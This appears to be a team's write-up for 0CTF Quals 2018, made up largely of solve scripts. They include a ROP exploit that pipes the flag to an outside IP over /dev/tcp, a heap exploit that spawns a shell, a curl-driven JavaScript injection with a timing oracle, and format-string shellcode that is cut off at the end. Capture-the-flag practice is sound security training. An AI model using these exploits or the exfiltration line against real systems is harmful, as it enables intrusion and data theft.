0CTF Quals 2018 Writeup

h4x0rs.club 1

I tried to login as admin with password admin and succeeded.
Therefore, I can access the profile page of admin user and get flag.

babystack2018

#!/usr/bin/env python
from pwn import *
import subprocess


context(os='linux', arch='i386')
# context.log_level = 'debug' # output verbose log

RHOST = "202.120.7.202"
RPORT = 6666
LHOST = "127.0.0.1"
LPORT = 6666

# libc = ELF('')
elf = ELF('./babystack')


def solve_pow(chal):
    from hashlib import sha256
    from random import randint
    import sys
    progress = 0
    while True:
        progress += 1
        sol = ('%08x' % randint(0,2**32 - 1)).decode('hex')
        if sha256(chal + sol).digest().startswith('\0\0\0'):
            return sol
        if progress % 10000 == 0:
            sys.stderr.write('%.2f' % (float(progress) / 2 ** 24) + "\r")

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
        buf = conn.recv(16)
        conn.recv(1)
        c = int(sys.argv[2])
        output = subprocess.check_output(['ruby', '/root/ctf/0ctf2018/babystack2018/pow.rb', buf])[16:]
        conn.send(output)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
        buf = conn.recv(16)
        print buf
        conn.recv(1)
        output = subprocess.check_output(['ruby', '/root/ctf/0ctf2018/babystack2018/pow.rb', buf])[16:]
        conn.send(output)
        c = 0x6c
    elif sys.argv[1] == 'd':
        execute = """
        b *0x80482e9
        c
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./babystack'], execute)
        conn.recvuntil('\n')
        c = 0x6c
else:
    c = 0x6c
    conn = process(['./babystack'])
    # conn = process(['./babystack'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')

pop_ret = 0x80484eb
leave_ret = 0x8048455
pop3_ret = 0x80484e9
pop4_ret = 0x80484e8
pop_ebx =  0x80482e9
read_plt = elf.plt['read']
alarm_plt = elf.plt['alarm']
bss =      0x804a000 + 0x800

cmdline = 'cat flag >/dev/tcp/133.242.155.176/8743'

payload = 'a' * 0x28
payload += p32(bss)
payload += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss+4) + p32(14 * 4 + len('/bin/bash\x00-c\x00'+cmdline) )
payload += p32(read_plt) + p32(pop3_ret) + p32(0) + p32(0x804a000) + p32(0xc+1)
payload += p32(alarm_plt) + p32(pop_ret) + p32(0xb) + p32(alarm_plt) + p32(pop_ret) + p32(0)
payload += p32(pop_ebx) + p32(bss + 0x3c)
payload += p32(read_plt)
payload += '/bin/bash\x00'
payload += '-c\x00'
payload += cmdline
conn.send(payload)

payload = p32(0x804a840-4) + p32(0x804a846) + p32(0x804a849) + chr(c)
conn.send(payload)
conn.recv(0x100)

BabyHeap 2018

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './babyheap'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'202.120.7.204', 'port':127})
                        #remote  = {'host':'localhost', 'port':127})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.24.so')
env.select()

#==========

binf = ELF(bin_file)
addr_plt_puts       = binf.plt['puts']
addr_got_main       = binf.got['__libc_start_main']
addr_bss            = binf.sep_section['.bss']

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_malloc_hook = libc.symbols['__malloc_hook']
offset_libc_mainarena   = offset_libc_malloc_hook + 0x10

#==========

def attack(conn):
    bh = BabyHeap(conn)

    bh.allocate(0x18)   # 0
    bh.allocate(0x18)   # 1
    bh.allocate(0x28)   # 2
    bh.allocate(0x58)   # 3
    bh.allocate(0x20)   # 4
    bh.allocate(0x10)   # 5
    bh.allocate(0x18)   # 6

    bh.update(0, 'a'*0x18+'\x51')
    bh.update(2, 'b'*0x28+'\xa1')
    bh.update(5, 'c'*0x8+'\x11')

    bh.delete(1)
    bh.allocate(0x48)   # 1

    chunk  = '0'*0x18
    chunk += p64(0x91)
    bh.update(1, chunk)

    bh.delete(3)
    bh.delete(2)

    leak = bh.view(1)
    addr_heap_base = u64(leak[0x20:0x28]) - 0x70
    addr_libc_mainarena     = u64(leak[0x28:0x30]) - 0x58
    libc.address            = addr_libc_mainarena - offset_libc_mainarena
    addr_libc_io_list_all   = libc.symbols['_IO_list_all']
    addr_libc_dl_open_hook  = libc.symbols['_dl_open_hook']
    addr_libc_system        = libc.sep_function['system']

    info('addr_heap_base    = 0x{:08x}'.format(addr_heap_base))
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))
    
    bh.allocate(0x28)   # 2
    bh.allocate(0x18)   # 3
    bh.allocate(0x18)   # 7
    bh.allocate(0x18)   # 8

    bh.update(2, 'A'*0x28+'\x61')
    bh.delete(3)
    bh.allocate(0x58)   # 3

    chunk  = 'B'*0x18
    chunk += p64(0x41)
    chunk += 'C'*0x18
    chunk += p64(0x51)
    bh.update(3, chunk)

    bh.delete(7)
    bh.delete(8)

    chunk  = p64(addr_libc_mainarena + 0xe8)
    chunk += p64(addr_libc_mainarena + 0xe8)
    chunk += 'B'*0x8
    chunk += p64(0x41)
    chunk += p64(0x51)
    bh.update(3, chunk)

    bh.allocate(0x38)   # 7
    chunk  = 'D'*0x18
    chunk += p64(0x51)
    chunk += p64(addr_libc_mainarena + 0x10)
    bh.update(7, chunk)

    bh.allocate(0x48)   # 8
    chunk  = 'E'*0x10
    chunk += p64(0x60)
    chunk += p64(0x31)
    bh.update(8, chunk)

    bh.allocate(0x48)   # 9
    fake_mainarena  = '\x00'*0x38
    fake_mainarena += p64(addr_libc_io_list_all - 0x28)
    bh.update(9, fake_mainarena)

    bh.allocate(0x58)   # 10
    bh.allocate(0x20)   # 11

    bh.update(11, '\x00'*0x18+p64(addr_heap_base + 0x60))
    bh.update(6, '\x00'*0x8+p64(addr_heap_base + 0x140 - 0x18)+p64(addr_libc_system))

    chunk  = '0'*0x18
    chunk += p64(0x91)
    bh.update(1, chunk)
    bh.delete(2)

    chunk  = '0'*0x18
    chunk += p64(0x61)
    chunk += p64(0xdeadbeef)
    chunk += p64(addr_libc_dl_open_hook - 0x10)
    bh.update(1, chunk)
    bh.allocate(0x58)   # 2
    bh.update(2, '\x00'*0x10+'/bin/sh'.ljust(0x20, '\x00')+p64(0)+p64(1))

    conn.recvuntil('Command: ')
    conn.sendline('5')

class BabyHeap:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def allocate(self, size):
        self.recvuntil('Command: ')
        self.sendline('1')
        self.recvuntil('Size: ')
        self.sendline(str(size))

    def update(self, idx, content):
        self.recvuntil('Command: ')
        self.sendline('2')
        self.recvuntil('Index: ')
        self.sendline(str(idx))
        self.recvuntil('Size: ')
        self.sendline(str(len(content)))
        self.recvuntil('Content: ')
        self.send(content)

    def delete(self, idx):
        self.recvuntil('Command: ')
        self.sendline('3')
        self.recvuntil('Index: ')
        self.sendline(str(idx))

    def view(self, idx):
        self.recvuntil('Command: ')
        self.sendline('4')
        self.recvuntil('Index: ')
        self.sendline(str(idx))
        self.recvuntil(': ')
        return self.recvuntil('\n1. Allocate', drop=True)

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========

udp

Our decompile result:

def child_thread(child_id)
  row = matrix[child_id]
  send(0, -1) # send 4 to master
  data, from = recv
  while true
    data, from = recv
    if !(from >= -1 && from <= 3999)
      fail
    end
    if data == 2
      fail
    elsif data == 1
      send(2, from) # ping / pong
    elsif data == 3
      cmd = 5
      if child_id == 1
        cmd = 4
      else
        4000.times do |i|
          next if i == child_id
          if row[i] > 0
            send(3, i)
            while true
              data2, from2 = recv
              if data2 == 3
                send(5, from2)
              else
                break
              end
            end
            if from2 != i
              fail
            end
            if data2 == 4
              row[i] -= 1
              cmd = 4
              break
            elsif data2 != 5
              fail
            end
          end
        end 
      end
      send(cmd, from)
      row[from] += 1
    elsif data ==4
      # Do nothing
    end
  end
end


def main 
  # main process
  4000.times do 
    create_thread(i)
  end

  # check process
  4000.times do
    send(2, i)
    fail unless recv == [3, i]
  end

  # Contact to 0
  ret = 0
  while true
    send(3, 0)
    data, from = recv
    fail unless from == 0
    fail unless [4,5].include?(data)
    break data == 5
    ret += 1
  end
  puts "flag{%lx}" % ret
end

It seems Ford–Fulkerson algorithm(Not exactly, because it flows only 1).
So I rewrite it with dinic algorithm.

#include <iostream>
#include <cstdlib>
#include <cstdio>
#include <vector>
#include <queue>

using namespace std;
typedef uint64_t Weight;
const Weight INF = 1UL << 60;

struct Edge {
    int src, dst;
    Weight weight;
    int rev;

    Edge(int f, int t, Weight c, int rev = 0) : src(f), dst(t), weight(c), rev(rev) {}
};

struct Node : public vector<Edge> {
};

bool operator<(const Edge &a, const Edge &b) {
    return a.weight < b.weight;
}

bool operator>(const Edge &a, const Edge &b) { return b < a; }

typedef vector<Node> Graph;

typedef vector<vector<Weight> > Matrix;

void add_edge(Graph &G, int s, int t, Weight cap) {
    G[s].push_back(Edge(s, t, cap, G[t].size()));
    G[t].push_back(Edge(t, s, 0, G[s].size() - 1));
}

void bfs(const Graph &G, vector<int> &level, int s) {
    level[s] = 0;
    queue<int> que;
    que.push(s);
    while (!que.empty()) {
        int v = que.front();
        que.pop();
        for (int i = 0; i < G[v].size(); i++) {
            const Edge &e = G[v][i];
            if (e.weight > 0 && level[e.dst] < 0) {
                level[e.dst] = level[v] + 1;
                que.push(e.dst);
            }
        }
    }
}

Weight dfs(Graph &G, vector<int> &level, vector<int> &iter, int v, int t, Weight flow) {
    if (v == t)return flow;
    for (int &i = iter[v]; i < (int) G[v].size(); i++) {
        Edge &e = G[v][i];
        if (e.weight > 0 && level[v] < level[e.dst]) {
            Weight d = dfs(G, level, iter, e.dst, t, min(flow, e.weight));
            if (d > 0) {
                e.weight -= d;
                G[e.dst][e.rev].weight += d;
                return d;
            }
        }
    }
    return 0;
}

Weight max_flow(Graph &G, int s, int t) {
    Weight flow = 0;
    while (true) {
        vector<int> level(G.size(), -1);
        vector<int> iter(G.size(), 0);
        bfs(G, level, s);
        if (level[t] < 0)break; // もう流せない
        Weight f = 0;
        while ((f = dfs(G, level, iter, s, t, INF)) > 0) {
            flow += f;
        }
    }
    return flow;
}


uint64_t matrix[4000][4000];

int main() {
    FILE *fp = fopen("matrix", "rb");
    if (fp == nullptr) {
        perror("fopen");
        return -1;
    }
    if (fread(matrix, 1, 4000 * 4000 * 8, fp) != 4000 * 4000 * 8) {
        cerr << "Failed to read matrix";
        return -1;
    }
    fclose(fp);
    Graph G = Graph(4000);
    for(int i = 0; i < 4000; i++) {
        for(int j = 0; j < 4000; j++) {
            if (matrix[i][j]) {
                add_edge(G, i, j, matrix[i][j]);
            }
        }
    }
    cout << max_flow(G, 0, 1) << endl;
}

The file matrix is form udp 0x6020E0.

Login me

The validation doesn’t work to array, such as password[]=%23()

        for(var k in req.body){
            var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
            if(!valid) res.send('Nope');
            check_function = check_function.replace(
                new RegExp('#'+k+'#','gm')
                ,JSON.stringify(req.body[k]))
        }

Binary search like blind SQL injection.

command = <<EOS
curl http://202.120.7.194:8082/check  -d 'username[]=%23zzz%23&zzz[]=]){} ; Object.keys(this).forEach((a)=>{if(a.startsWith(`password`%2bString.fromCharCode(95))%26%26this[a][CODE_POS]<String.fromCharCode(CODE_POINT)){sleep(2000)}}); return 1;if(1){//'
EOS

command = command.strip
a = Time.now
ret = ''
(12...32).each do |i|
  puts "index %d" % i
  chars = '0123456789abcdef'
  low = 0
  high = chars.size
  while low + 1 < high
    mid = (low + high) / 2
    a = Time.now
    system command.gsub('CODE_POINT', chars[mid].ord.to_s).gsub('CODE_POS', (0 + i).to_s)
    if Time.now - a < 2
      low = mid
    else
      high = mid
    end
    p [low, high]
  end
  p chars[low]
  ret += chars[low]
  p ret
end

maya game

Typical dynammic programming problem.

#include <iostream>
#include <vector>
#include <cassert>
#include <algorithm>
#include <map>

using namespace std;

int N, M;

vector<string> MAP;

const int dx[4] = {0, 1, 0, -1};
const int dy[4] = {1, 0, -1, 0};

vector<vector<vector<map<vector<int>,int64_t>>>> dp;


void normalize(std::vector<int> &connection, int &left) {
    vector<int> mp(connection.size() + 2, -1);
    mp[0] = 0;
    int k = 1;
    for (int i = 0; i < connection.size(); i++) {
        if (connection[i] != 0) {
            assert(connection[i] < mp.size());
            if (mp[connection[i]] == -1) {
                mp[connection[i]] = k++;
            }
        }
    }
    if (left != 0) {
        if (mp[left] == -1) {
            mp[left] = k;
        }
    }

    for (int i = 0; i < connection.size(); i++) {
        connection[i] = mp[connection[i]];
    }
    left = mp[left];
}

int64_t rec(int y, int x, const std::vector<int> connection, int left) {
    assert(connection.size() == N);
    if (y == N) {
        // 終了条件
        for (int i = 0; i < N; i++) {
            if (connection[i] != 0) {
                // 上に接続がある: Fail
                return 0;
            }
        }
        // 上に接続がなければひとまず成功とする
        return 1;
    }
    if (dp[y][x][left].count(connection)) {
        return dp[y][x][left][connection];
    }

//    cerr << "REC: (" << x << ", " << y << ") : " << left << " {";
//    for(int i = 0; i < connection.size(); i++) {
//        cerr << connection[i] << ", ";
//    }
//    cerr << "}" << endl;
//    cerr << "\tcc: [";
//    for(int i = 0; i < connection_count.size(); i++) {
//        cerr << connection_count[i] << ", ";
//    }
//    cerr << endl;

    int ny = y, nx = x + 1;
    if (nx == N) {
        ny++;
        nx = 0;
    }
    // cerr << "s:" << y << "," << x << endl;

    int64_t ret = 0;
    const char cur = MAP[y][x];
    if (cur == '#') {
        if (left != 0) {
            // 左側からの接続があるので駄目
            ret = 0;
        } else if (connection[0] != 0) {
            // 上からの接続があるので駄目
            ret = 0;
        } else {
            // 次のコネクションを作る
            // 線は引かずに次に進むしかない
            vector<int> next_connection = connection;
            next_connection.erase(next_connection.begin());
            next_connection.push_back(0);
            ret = rec(ny, nx, next_connection, 0);
        }
    } else if (cur == 'X') {
        // 次のコネクションを作る
        if (left != 0 && connection[0] != 0) {
            // 上と左から来ている場合は二本引かれるためアウト
            ret = 0;
        } else if (left != 0) {
            assert(connection[0] == 0);
            // 左からのみ来ている場合
            // 接続を追加する
            vector<int> next_connection = connection;
            next_connection.erase(next_connection.begin());
            next_connection.push_back(0);
            int next_left = 0;
            normalize(next_connection, next_left);
            ret = rec(ny, nx, next_connection, next_left);
        } else if (connection[0] != 0) {
            assert(left == 0);
            // 上からのみ来ている場合
            vector<int> next_connection = connection;
            next_connection.erase(next_connection.begin());
            next_connection.push_back(0);
            int next_left = 0;
            normalize(next_connection, next_left);
            ret = rec(ny, nx, next_connection, next_left);
        } else {
            // 右か下に接続する
            //  右に接続する場合
            int next_number = max(left, *max_element(connection.begin(), connection.end())) + 1;
            ret = 0;
            if (x < N - 1) {
                vector<int> next_connection = connection;
                int next_left = next_number;
                next_connection.erase(next_connection.begin());
                next_connection.push_back(0);
                // cerr << x << "," << y << "," << left << ":" << (next_connection_count.size()) << "," << (next_number + 1) << endl;
                normalize(next_connection, next_left);
                ret += rec(ny, nx, next_connection, next_left);
            }
            if (y < N - 1) {
                // 下に接続する
                vector<int> next_connection = connection;
                int next_left = 0;
                next_connection.erase(next_connection.begin());
                next_connection.push_back(next_number);
                normalize(next_connection, next_left);
                ret += rec(ny, nx, next_connection, next_left);
            }
        }
    } else if (cur == '.') {
        // 次のコネクションを作る

        // 上→下
        if (connection[0] != 0 && left == 0 && y < N - 1) {
            // 上からの接続があり右側から接続がない
            vector<int> next_connection = connection;
            int next_left = 0;
            next_connection.erase(next_connection.begin());
            next_connection.push_back(connection[0]);
            ret += rec(ny, nx, next_connection, next_left);
        }
        // 上から右
        if (connection[0] != 0 && left == 0 && x < N - 1) {
            // 上からの接続があり右側から接続がない
            vector<int> next_connection = connection;
            int next_left = connection[0];
            next_connection.erase(next_connection.begin());
            next_connection.push_back(0);
            normalize(next_connection, next_left);
            ret += rec(ny, nx, next_connection, next_left);
        }

        // 左→下
        if (connection[0] == 0 && left != 0 && y < N - 1) {
            // 上からの接続があり右側から接続がない
            vector<int> next_connection = connection;
            int next_left = 0;
            next_connection.erase(next_connection.begin());
            next_connection.push_back(left);
            normalize(next_connection, next_left);
            ret += rec(ny, nx, next_connection, next_left);
        }
        // 左から右
        if (connection[0] == 0 && left != 0 && x < N - 1) {
            vector<int> next_connection = connection;
            int next_left = left;
            next_connection.erase(next_connection.begin());
            next_connection.push_back(0);
            normalize(next_connection, next_left);
            ret += rec(ny, nx, next_connection, next_left);
        }
        // 左上
        if (connection[0] != 0 && left != 0) {
            if (connection[0] == left) {
                // 既に接続ずみなので置けない
            } else {
                // 左と上を接続
                vector<int> next_connection = connection;
                int next_left = 0;
                next_connection.erase(next_connection.begin());
                next_connection.push_back(0);
                // Merge
                for (int i = 0; i < N; i++) {
                    if (next_connection[i] == left) {
                        next_connection[i] = connection[0];
                    }
                }
                // Normalize
                normalize(next_connection, next_left);
                ret += rec(ny, nx, next_connection, next_left);
            }
        }
        // 右上
        if (connection[0] == 0 && left == 0 && x < N - 1 && y < N - 1) {
            int next_number = max(left, *max_element(connection.begin(), connection.end())) + 1;
            ret = 0;
            vector<int> next_connection = connection;
            int next_left = next_number;
            next_connection.erase(next_connection.begin());
            next_connection.push_back(next_number);
            normalize(next_connection, next_left);
            ret += rec(ny, nx, next_connection, next_left);
        }
        // 何もしない
        if (connection[0] == 0 && left == 0) {
            vector<int> next_connection = connection;
            int next_left = 0;
            next_connection.erase(next_connection.begin());
            next_connection.push_back(0);
            normalize(next_connection, next_left);
            ret += rec(ny, nx, next_connection, next_left);
        }
    } else {
        std::cerr << "Invalid Error" << endl;
        throw std::runtime_error("Invalid Map data");
    }
    return dp[y][x][left][connection] = ret;
}

//
// Upとの接続状況
//
// Yes
// +-----+
// |+---+|
// ||+-+||
// |||#|X|
// XXX#+-+
//
// Split [1,1,1,1,1,1,1]
//
int main() {
    cin >> N >> M;
    MAP.resize(N);
    for (int i = 0; i < N; i++) {
        cin >> MAP[i];
    }
    dp.resize(N);
    for( int i = 0; i < dp.size(); i++) {
        dp[i].resize(N);
        for(int j = 0 ; j < dp[i].size(); j++) {
            dp[i][j].resize(N + 3);
        }
    }
    vector<int> connection(N);
    int64_t ret = rec(0, 0, connection, 0);
    cout << ret << endl;
}

Network communication program.

require 'ctf'
require 'benchmark'
TCPSocket.open(*ARGV) do |s|
  s.echo = true

  8.times do |i|
    s.expect('-----------------------------------------')
    s.gets
    task = s.gets
    if /n = (\d+), m = (\d+)/ =~ task
      n = $1.to_i
      m = $2.to_i
      s.gets
      MAP = Array.new(n){s.gets.gsub('|', '')}
      puts MAP
    else
      p task
      fail task
    end

    s.expect('The number of solutions =')
    ret = nil
    IO.popen('./cmake-build-debug/solve', 'w+') do |f|
      f.puts "#{n} #{m}"
      f.puts MAP
      puts "#{n} #{m}"
      puts MAP
      f.flush
      puts 'Solve'
      Benchmark.bm 10 do |r|
        r.report 'task %d' % (i + 1) do
          ret = f.read
        end
      end
    end
    puts ret
    s.puts ret.strip
  end
  s.interactive!
end

Milk Tea Machine

DATA = [0x29D1C318, 0x0A2127F7C, 0x63535511, 0x0BC20EB9F, 0x62861759, 0x72E2EB39, 0x245A3503, 0x0B6A0B33C, 0x0D8588DF7, 0x32C97731, 0x9C2286A1, 0x0B06F0DF1, 0x3EE8DCD8, 0x0E8AAFD91, 0x2FB7CA47, 0x2E56ED51, 0x0F37AB222, 0x0EDF06A3E, 0x4786ED37, 0x66A60B4D, 0x0CE004DF1, 0x0A706131C, 0x469F7415, 0x92620669, 0x0C28915C3, 0x0F4A0FCB0, 0x909CACEB, 0x25726D7B, 0x7023830A, 0x75364D20, 0x0EBF4D0ED, 0x57E7B138, 0x3FBBDBC4, 0x1AD6A53, 0x2D57B709, 0x0DDAAD68A, 0x847CA156, 0x0A7A8EE84, 0x645D7D31, 0x62B8030F, 0x3C72E503, 0x0B3C1B143, 0x51912BC7, 0x0D155CA1B, 0x79A606FB, 0x6541EB4E, 0x0FC6BD15E, 0x0ED72E7CF, 0x0F8DE314F, 0x8097C65A, 0x3D573A48, 0x55389B74, 0x17504A, 0x0F96ABCF3, 0x4468045C, 0x70FEEECE, 0x7E000AF2, 0x8BF35B81, 0x4B635910, 0x0A9CB945B, 0x47B77790, 0x0EE90D37E, 0x0BB6C15B5, 0x44A5FC82, 0x5397C185, 0x4A79753B, 0x3781C8A0, 0x0CBD7D92B, 0x0ECFF291B, 0x0C8C0208F, 0x0DC7F4825, 0x7F1D5D37, 0x55D85393, 0x90B4F86C, 0x0B97CA571, 0x0F72BDA18, 0x2A929732, 0x0A7F5F2AB, 0x0DC0BB6C6, 0x4841A73F, 0x2DC84A8A, 0x0DEFD50A5, 0x0C5E0FC89, 0x0BFF26C11, 0x4C200AE8, 0x0E0EC8414, 0x6304462C, 0x7735F7C2, 0x0FE9A59CE, 0x146FF117, 0x5C4E8032, 0x0F554D32, 0x0A8CF5DC, 0x6460AD4C, 0x53EB5293, 0x0C95F9E2F, 0x0F3D5A7FB, 0x0EEAF150F, 0x3F4C7C03, 0x0AA0E5C3D, 0x1EF6A22E, 0x9040D341, 0x0D84790F7, 0x3A087715, 0x95BD943E, 0x13E96958, 0x2332540B, 0x65AEC20C, 0x0D6ECB393, 0x1F332E53, 0x155517F2, 0x14831CB7, 0x53BC2D13, 0x0C63A603A, 0x0F80D03FA, 0x6C4AA4A1, 0x2E5C553A, 0x0B4F0A536, 0x81987C04, 0x0A5B6712, 0x38FE2F2C, 0x3DFBCCBC, 0x536F716E, 0x0C37A2560, 0x987B71B, 0x8101E088, 0x64559DD8, 0x0FC0B1F57, 0x7468510A, 0x3A8054BD, 0x0BD153266, 0x77348038, 0x2DF6BFDE, 0x0F54EFCE6, 0x0A65794AA, 0x7CAF657B, 0x632F605E, 0x0E3E21DCE, 0x124F9945, 0x0AA3CA9E9, 0x50913A, 0x57EA2907, 0x0E050101D, 0x0B1E1653E, 0x59582EAF, 0x0DB5FDD8B, 0x0EF8B08BB, 0x19973D7A, 0x7A7A6C1C, 0x7B2F08D7, 0x6236A643, 0x891F2BFE, 0x0FF9456AD, 0x9F278CB0, 0x0D2D9A066, 0x77F7192A, 0x71C95997, 0x0C7E455A3, 0x0C117B13D, 0x331086B7, 0x0CCBA9A0F, 0x0E786485B, 0x800BC70F, 0x73359B2F, 0x0CFD0632, 0x4FDCBCC3, 0x58487C96, 0x799B3F9F, 0x0FE948657, 0x0F083ED1C, 0x105A0B99, 0x0ABA65BF7, 0x1A23ACBB, 0x0D80516BF, 0x9026EF32, 0x95C38248, 0x4132FC4D, 0x1663E8B0, 0x6B3BC663, 0x23AF6996, 0x6A3EA057, 0x52D8FDE4, 0x997344F0, 0x0AA0E6C66, 0x436DBAED, 0x7B91F8BF, 0x0E80E07D, 0x6E56F2E0, 0x0E00EDF1A, 0x0AD54535D, 0x27DA2387, 0x0ADF3F52D, 0x0EDCBF5BB, 0x55CD19C2, 0x0E795156A, 0x3E99A660, 0x30EF3300, 0x0C1FA04BD, 0x0A94F5D3D, 0x0B265DA09, 0x593C3698, 0x14A56619, 0x36BAF68C, 0x3486C520, 0x0CD869ACB, 0x9E85C60A, 0x52AB126E, 0x83A15421, 0x60D2A51D, 0x0A3263723, 0x6F01FB9C, 0x0F0A01A9D, 0x0B8A706E2, 0x2CBFC241, 0x665AFFA7, 0x5CEAFE7D, 0x1B09E16D, 0x0B005DCCE, 0x0EE4070FC, 0x0C5EA7CDC, 0x6500B692, 0x0AADEDD27, 0x0F5A153A6, 0x5D587425, 0x8D570F3A, 0x3B5AB58A, 0x59D5D66B, 0x5B7517CB, 0x0BACE72D1, 0x5F3D4D71, 0x9708837B, 0x47FC85C3, 0x56A55D09, 0x8FC4C937, 0x3265B5B2, 0x0CC0D03BF, 0x0CDB15016, 0x54E49060, 0x0CA7813E8, 0x2B7E7859, 0x0D2154104, 0x6389FDB, 0x291BB90A, 0x0BC5388C7, 0x7E191A1B, 0x2F369C44, 0x0BBE9B02B, 0x13714D6C, 0x0FB73A3E5, 0x0A5EA5A2E, 0x0DFAC48EE, 0x5B61310A, 0x0FBBB34B1, 0x3F50310F, 0x0F78AC7BE, 0x28AF2A56]
class Random
end

class Rand
  def initialize(seed)
    @state = seed
  end

  def rand()
    @state = (@state * 214013 + 2531011) % 2 ** 31
    @state / 2 ** 16
  end
end

CHILDREN = []

def common_process(buffer, rand)
  v2 = (9 * DATA[1337 * rand.rand % 256]) % 2 ** 32
  v3 = rand.rand
  target = (buffer[0] * v3 - v2) % 0x20
  child = CHILDREN[target]
  return child.process(buffer)
end

class Child
  attr_accessor :monitor
  attr :rand
  attr :id

  def initialize(seed, id)
    @id = id
    @rand = Rand.new(seed)
    2.times {rand.rand}
    @monitor = nil
  end

  def create_monitor
    m = Monitor.new(rand.rand, id)
    rand.rand
    m
  end

  def process(buffer)
    seed = rand.rand
    rand.rand
    return child_thread(buffer, seed)
  end

  def child_thread(buffer, seed)
    buffer
    r = Rand.new(seed)
    buffer[0] = monitor.process(buffer[0])
    if buffer[1] == 0
      return buffer
    end
    [buffer[0]] + common_process(buffer[1, 44] + [0], r)[0, 44]
  end
end

class Monitor
  attr :rand
  attr :id

  def initialize(seed, id)
    @rand = Rand.new(seed)
    @id = id
  end

  def process(ecx)
    v6 = 13090 * rand.rand() % 256
    return DATA[v6] * ecx * rand.rand() % 0x10000
  end

  def attach
    while true
      tid = rand.rand % 32
      next if tid == @id
      if CHILDREN[tid].monitor == nil
        CHILDREN[tid].monitor = self
        if CHILDREN.any? {|t| t.monitor == nil}
          m = CHILDREN[tid].create_monitor

          m.attach
        end
        return
      end
    end
  end
end

input = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFH'
# EXPECTED_DATA = [0x4A46,
# 0x4B10,
# 0x2AFB,
# 0xD924,
# 0x58B8]
EXPECTED_DATA = [19014, 19216, 11003, 55588, 22712, 46000, 63351, 24680, 20268, 30320, 4343, 9784, 36693, 7366, 55776, 7296, 5552, 49344, 11992, 42048, 28895, 27736, 13116, 7083, 21056, 20370, 61128, 4228, 7232, 63262, 31259, 48440, 38224, 38004, 13056, 63264, 56004, 8180, 26912, 46700, 33438, 21796, 18312, 0, 0]

32768.times do |seed|
  rand = Rand.new(seed)

  32.times do |i|
    CHILDREN[i] = Child.new(rand.rand, i)
  end
  parent_monitor = Monitor.new(rand.rand(), -1)
  parent_monitor.attach
  ret = common_process( 'flag{'.unpack("C*") + [0] * 40, rand)
  if ret[0,5] == EXPECTED_DATA[0, 5]

    puts 'FOUND!!!'
    puts seed
  end
end

SEED = 3908
input = [0] * 45
0.upto(44).each do |i|
  f=  false
  (0..127).each do |c|
    input[i] = c
    rand = Rand.new(SEED)

    32.times do |i|
      CHILDREN[i] = Child.new(rand.rand, i)
    end
    parent_monitor = Monitor.new(rand.rand(), -1)
    parent_monitor.attach
    ret = common_process(input + [], rand)
    if ret[0..i] == EXPECTED_DATA[0..i]
      puts 'found'
      f = true
      p input
      break
    end
  end

  fail unless f
end

Math Game

require 'ctf'
require 'metasm'
shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encoded
start:
xor eax, eax
push eax
push #{'39ML'.unpack1("I")}

mov ecx, esp
mov ebx, 1
mov edx, 4
add al, 4
int 0x80

// get filename
restart:
mov ecx, esp
mov ebx, 0
mov edx, 256
xor eax, eax
add al, 3
int 0x80

mov ebx, esp
xor edx, edx
xor eax, eax
mov ecx, 0
add al, 5
int 0x80
mov esi,eax

hoge:
mov ebx, esi
mov ecx, esp
mov edx, 4
xor eax, eax
add al, 3
int 0x80
cmp eax, 0
jle restart
mov edx, eax
xor ebx, ebx
inc ebx
mov ecx, esp
xor eax, eax
add al, 4
int 0x80
jmp hoge
SOURCE
shellcode = shellcode.data
if shellcode.size > 96

  p shellcode.size
  fail
end
@sendd = ''
def pad_buf(buf)
  fail unless buf.size <= 32
  return buf + "\0" * (32 - buf.size)
end
# 1byte固定長を書き込む
def write_buf(offset, byte)
  pad_buf([0x61616161,offset].pack("I*") + "%#{byte + 256 - 8}c" + "%6$hhn")
end

def offset_to_index(offset)
  fail unless offset % 4 == 0
  return (offset - 0xdead1000) / 4 + 3
end

def copy_buf(offset, target)
  ret = "%1$*#{offset_to_index(offset)}$c%#{offset_to_index(0xdead1008 + 28)}$n"
  fail unless ret.size <= 28
  ret = ret + ' ' * (28 - ret.size)
  ret + [target].pack("I*")
end

def add_buf(op1, op2, target)
  ret = "%1$*#{offset_to_index(op1)}$c%1$*#{offset_to_index(op2)}$c%#{offset_to_index(0xdead1008 + 28)}$hhn"
  fail unless ret.size <= 28
  ret = ret + ' ' * (28 - ret.size)
  ret += [target].pack("I*")
  write_buf(op1 + 1, 0x1) + write_buf(op2 + 1, 0x1) + ret
end
def sub_buf(op1, op2, target)
  fail if [op1, op2, target].uniq.size != 3
  temp = 0xdead1404
  [
    write_buf(target, 0),
    write_buf(target + 1, 0),
    write_buf(target + 2, 0),
    write_buf(target + 3, 0),
    write_buf(temp, 0),
    write_buf(temp + 1, 0),
    write_buf(temp + 2, 0),
    write_buf(temp + 3, 0),
    add_buf(temp, op2, temp),
    add_buf(target, op1, target) + Array.new(8){add_buf(target, temp, target) + add_buf(temp, temp, temp)} * ''
  ].join
end

def rpad(pad, length)
